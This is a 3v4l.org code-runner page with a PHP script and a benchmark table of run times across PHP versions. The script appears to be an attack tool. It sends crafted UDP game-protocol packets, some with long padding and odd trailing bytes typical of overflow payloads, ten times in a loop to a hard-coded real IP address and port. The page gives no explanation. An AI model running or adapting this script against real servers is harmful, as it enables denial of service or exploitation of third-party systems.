3v4l.org

run code in 300+ PHP versions simultaneously
<?php $server_ip = '195.138.247.69'; $server_port = 1008; $connect = "\x10\x00\x00\x01"; $sth = "\x10\x00\x00\x03"; $info = "\x00\x00\x01\x41\x07\x01\x03\x30\x2e\x36\x20\x36\x32\x36\x66\x63\x65\x39\x61\x37\x37\x38\x64\x66\x34\x64\x34\x00\x00"; $ready = "\x00\x01\x01\x40\x01\x02\x1d"; $enter = "\x00\x06\x01\x40\x01\x04\x1f"; $name = "\x00\x03\x01\x43\x0e\x03\x28\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x00\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x00\x40\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x00\x01\x80\xfc\xc7\x05\x80\xfc\x07"; $name2 = "\x00\x0a\x01\x43\x0e\x05\x2a\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x00\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x00\x40\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x00\x01\x80\xfc\xc7\x05\x80\xfc\x07"; $chat = "\x00\x0a\x01\x40\x08\x05\x22\x00\x31\x31\x32\x33\x34\x00"; $alive = "\x00\x00\x21\xa4\x8a\x80\xe4\x01\x68\xc3\x08\xd6\x30\xa9\x1a\xaa\x61\x52\xb5\xb5\xe6\x33\x65\xc7\x12\x33\x0b\x05\x8a\x1b"; $test = "\x00\x20\xa4\x89\x80\x82\x01\x68\x67\x44\x17\x26\x5d\xa9\xf6\xd3\xd0\x95\x6a\xeb\xb0\xa2\x4d\x66\x8f\xb5\xe2\x06"; $disconnect = "\x10\x0b\x00\x04\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x63"; print "1. Sending heartbeat to IP $server_ip, port $server_port\n"; if ($socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP)) { for(;$blub < 10; $blub++) { socket_sendto($socket, $connect, strlen($connect), 0, $server_ip, $server_port); socket_sendto($socket, $sth, strlen($sth), 0, $server_ip, $server_port); socket_sendto($socket, $info, strlen($info), 0, $server_ip, $server_port); socket_sendto($socket, $ready, strlen($ready), 0, $server_ip, $server_port); socket_sendto($socket, $name, strlen($name), 0, $server_ip, $server_port); socket_sendto($socket, $enter, strlen($enter), 0, $server_ip, $server_port); socket_sendto($socket, $name2, strlen($name2), 0, $server_ip, $server_port); sleep(1); socket_sendto($socket, $chat, strlen($chat), 0, $server_ip, $server_port); //socket_sendto($socket, $alive, strlen($alive), 0, $server_ip, $server_port); sleep(1); //socket_sendto($socket, $disconnect, strlen($disconnect), 0, $server_ip, $server_port); //sleep(6); //sleep(0.2); } } else { print("can't create socket\n"); } print("end");

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0160.00316.38
8.3.50.0070.00717.91
8.3.40.0150.00018.79
8.3.30.0090.00619.13
8.3.20.0040.00420.22
8.3.10.0050.00323.65
8.3.00.0050.00319.26
8.2.180.0070.01016.63
8.2.170.0090.00622.96
8.2.160.0030.01020.52
8.2.150.0070.00024.18
8.2.140.0120.00324.66
8.2.130.0050.00226.16
8.2.120.0000.00722.12
8.2.110.0090.00021.90
8.2.100.0060.00617.97
8.2.90.0050.00319.08
8.2.80.0000.00818.04
8.2.70.0030.00617.63
8.2.60.0000.00818.05
8.2.50.0040.00418.07
8.2.40.0040.00418.34
8.2.30.0000.00717.95
8.2.20.0030.00517.66
8.2.10.0040.00418.14
8.2.00.0070.00317.82
8.1.270.0050.00323.96
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0080.00023.92
8.1.230.0090.00319.16
8.1.220.0050.00317.77
8.1.210.0050.00318.77
8.1.200.0040.00717.35
8.1.190.0040.00417.43
8.1.180.0030.00518.10
8.1.170.0040.00418.59
8.1.160.0000.00722.04
8.1.150.0040.00418.62
8.1.140.0100.00017.55
8.1.130.0000.00717.77
8.1.120.0000.00717.43
8.1.110.0030.00717.50
8.1.100.0000.00717.46
8.1.90.0000.00717.38
8.1.80.0070.00017.32
8.1.70.0000.00817.35
8.1.60.0000.01117.46
8.1.50.0000.00717.47
8.1.40.0040.00417.57
8.1.30.0080.00017.60
8.1.20.0040.00417.70
8.1.10.0040.00417.54
8.1.00.0040.00417.59
8.0.300.0000.00718.77
8.0.290.0000.00717.18
8.0.280.0000.00718.39
8.0.270.0050.00317.22
8.0.260.0030.00317.21
8.0.250.0000.00717.00
8.0.240.0030.00316.96
8.0.230.0040.00316.96
8.0.220.0000.00716.88
8.0.210.0040.00416.99
8.0.200.0000.00716.94
8.0.190.0000.00716.96
8.0.180.0000.00716.93
8.0.170.0030.00517.02
8.0.160.0050.00317.11
8.0.150.0000.00816.89
8.0.140.0040.00417.02
8.0.130.0030.00313.46
8.0.120.0040.00416.99
8.0.110.0000.00717.04
8.0.100.0030.00716.86
8.0.90.0000.00717.05
8.0.80.0060.00916.95
8.0.70.0030.00316.89
8.0.60.0050.00316.87
8.0.50.0000.00717.05
8.0.30.0100.00817.11
8.0.20.0170.00917.40
8.0.10.0040.00417.04
8.0.00.0120.00716.77
7.4.330.0050.00015.00
7.4.320.0030.00316.50
7.4.300.0060.00016.69
7.4.290.0040.00416.40
7.4.280.0000.00716.50
7.4.270.0070.00016.69
7.4.260.0070.00016.62
7.4.250.0040.00416.52
7.4.240.0030.00416.48
7.4.230.0000.00716.73
7.4.220.0070.01016.65
7.4.210.0080.00716.61
7.4.200.0070.00016.38
7.4.190.0080.00016.45
7.4.160.0000.01616.47
7.4.150.0070.01017.40
7.4.140.0120.00617.86
7.4.130.0110.00616.62
7.4.120.0070.00916.58
7.4.110.0100.00716.51
7.4.100.0140.00516.65
7.4.90.0130.00416.46
7.4.80.0080.01119.39
7.4.70.0120.00316.68
7.4.60.0060.01016.56
7.4.50.0030.00616.52
7.4.40.0000.01722.77
7.4.30.0040.01216.57
7.4.00.0030.01215.25
7.3.330.0000.00513.10
7.3.320.0000.00613.19
7.3.310.0000.00716.43
7.3.300.0000.00716.20
7.3.290.0120.00816.30
7.3.280.0090.01016.32
7.3.270.0080.00817.40
7.3.260.0100.01016.43
7.3.250.0110.00616.37
7.3.240.0030.01316.55
7.3.230.0140.00416.39
7.3.210.0070.01016.54
7.3.200.0140.00419.39
7.3.190.0090.00916.46
7.3.180.0130.00316.24
7.3.170.0110.00416.27
7.3.160.0130.00316.59
7.3.120.0060.00615.05
7.2.330.0060.01116.25
7.2.320.0090.00916.68
7.2.310.0030.01416.29
7.2.300.0130.00316.60
7.2.290.0080.00816.46
7.2.60.0000.01516.91
7.2.00.0120.00419.27
7.1.200.0080.00415.67
7.1.100.0070.00417.89
7.1.70.0040.00416.84
7.1.60.0160.00919.46
7.1.50.0220.01634.79
7.1.00.0000.08022.42
7.0.200.0090.00216.61
7.0.140.0000.07022.01
7.0.60.0000.04319.89
7.0.50.0070.08717.94
7.0.40.0170.07719.90
7.0.30.0200.05020.13
7.0.20.0170.05320.01
7.0.10.0370.07320.13
7.0.00.0100.03720.00
5.6.280.0030.07320.88
5.6.210.0170.07720.58
5.6.200.0070.07018.18
5.6.190.0070.04020.45
5.6.180.3900.04720.61
5.6.170.0330.07020.48
5.6.160.0130.05320.33
5.6.150.0130.07018.23
5.6.140.0070.03718.15
5.6.130.0130.04018.21
5.6.120.0070.05321.00
5.6.110.0070.04320.90
5.6.100.0100.06321.12
5.6.90.0170.08021.08
5.6.80.0070.04320.39
5.6.70.0000.07320.41
5.5.350.0130.03320.46
5.5.340.0000.09018.00
5.5.330.0100.07720.47
5.5.320.0230.06020.20
5.5.310.0370.08020.34
5.5.300.0000.04317.98
5.5.290.0000.05718.01
5.5.280.0070.08720.90
5.5.270.0100.03720.91
5.5.260.0130.06320.77
5.5.250.0230.07020.60
5.5.240.0130.07720.16
5.4.450.0400.04319.44
5.4.440.0200.04319.40
5.4.430.0300.07019.13
5.4.420.0300.07719.48
5.4.410.0100.04319.00
5.4.400.0270.07019.14
5.4.390.3670.04019.10
5.4.380.0330.07319.05
5.4.370.0370.06318.79
5.4.360.0230.04019.25
5.4.350.0270.03019.24
5.4.340.0170.04019.06
5.4.320.0300.04318.78
5.4.310.0330.04319.13
5.4.300.0370.06319.23
5.4.290.0300.06719.13
5.4.280.0500.04719.09
5.4.270.0370.05719.13
5.4.260.0200.07319.06
5.4.250.0230.07719.21
5.4.240.0300.05319.16
5.4.230.0300.06019.06
5.4.220.0270.07319.24
5.4.210.0300.06319.21
5.4.200.0100.05319.24
5.4.190.0130.04018.90
5.4.180.0170.03719.12
5.4.170.0230.04319.08
5.4.160.0130.07719.20
5.4.150.4030.03719.23
5.4.140.4300.02716.26
5.4.130.0130.03316.15
5.4.120.0230.03316.39
5.4.110.0100.03716.41
5.4.100.0130.03716.43
5.4.90.0230.02716.35
5.4.80.0000.03316.38
5.4.70.0030.07016.37
5.4.60.0070.03316.44
5.4.50.0030.04016.05
5.4.40.0130.02716.45
5.4.30.0370.02316.41
5.4.20.0270.03316.46
5.4.10.0230.07316.43
5.4.00.3170.03315.77
5.3.290.0100.05014.43
5.3.280.0130.05014.26
5.3.270.0070.05314.38
5.3.260.0070.06014.37
5.3.250.0030.07014.41
5.3.240.0100.05314.27
5.3.230.0200.04014.37
5.3.220.0130.04314.32
5.3.210.0100.04714.35
5.3.200.0170.04014.34
5.3.190.0100.05314.38
5.3.180.0030.07314.37
5.3.170.0170.04714.21
5.3.160.0100.04714.35
5.3.150.0100.05014.34
5.3.140.0070.05314.26
5.3.130.0130.04314.34
5.3.120.0170.04314.36
5.3.110.0170.04014.30
5.3.100.0170.05713.80
5.3.90.0030.06313.78
5.3.80.0130.04313.77
5.3.70.0100.04713.67
5.3.60.0030.05313.78
5.3.50.0130.04013.75
5.3.40.0100.05013.80
5.3.30.0100.06313.68
5.3.20.0070.05713.46
5.3.10.0030.07313.41
5.3.00.0130.04313.25
5.2.170.0000.04710.88
5.2.160.0170.03010.95
5.2.150.0030.04310.89
5.2.140.0170.03010.79
5.2.130.0100.03310.89
5.2.120.0070.03710.89
5.2.110.0070.04310.90
5.2.100.0030.05010.81
5.2.90.0070.04310.84
5.2.80.0030.04010.86
5.2.70.0030.04710.88
5.2.60.0030.04710.82
5.2.50.0030.04310.82
5.2.40.0100.04310.74
5.2.30.0030.05010.81
5.2.20.0000.04310.75
5.2.10.0100.03310.75
5.2.00.0070.04010.61
5.1.60.0070.0309.92
5.1.50.0070.0339.80
5.1.40.0070.0339.68
5.1.30.0070.03710.09
5.1.20.0030.03710.23
5.1.10.0030.0379.89
5.1.00.0070.0509.96
5.0.50.0100.0278.46
5.0.40.0130.0178.16
5.0.30.0130.02713.88
5.0.20.0200.01713.83
5.0.10.0100.02313.88
5.0.00.0000.07013.84
4.4.90.0030.0235.89
4.4.80.0030.0205.89
4.4.70.0000.0235.89
4.4.60.0030.0205.89
4.4.50.0030.0205.89
4.4.40.0000.0435.89
4.4.30.0100.0135.89
4.4.20.0030.0205.89
4.4.10.0070.0305.90
4.4.00.0070.0435.89
4.3.110.0000.0335.89
4.3.100.0070.0175.89
4.3.90.0130.0105.89
4.3.80.0100.0335.89
4.3.70.0030.0205.89
4.3.60.0030.0205.89
4.3.50.0030.0235.89
4.3.40.0070.0305.89
4.3.30.0000.0275.89
4.3.20.0030.0305.89
4.3.10.0100.01313.91
4.3.00.0070.02313.91

preferences:
52.65 ms | 400 KiB | 5 Q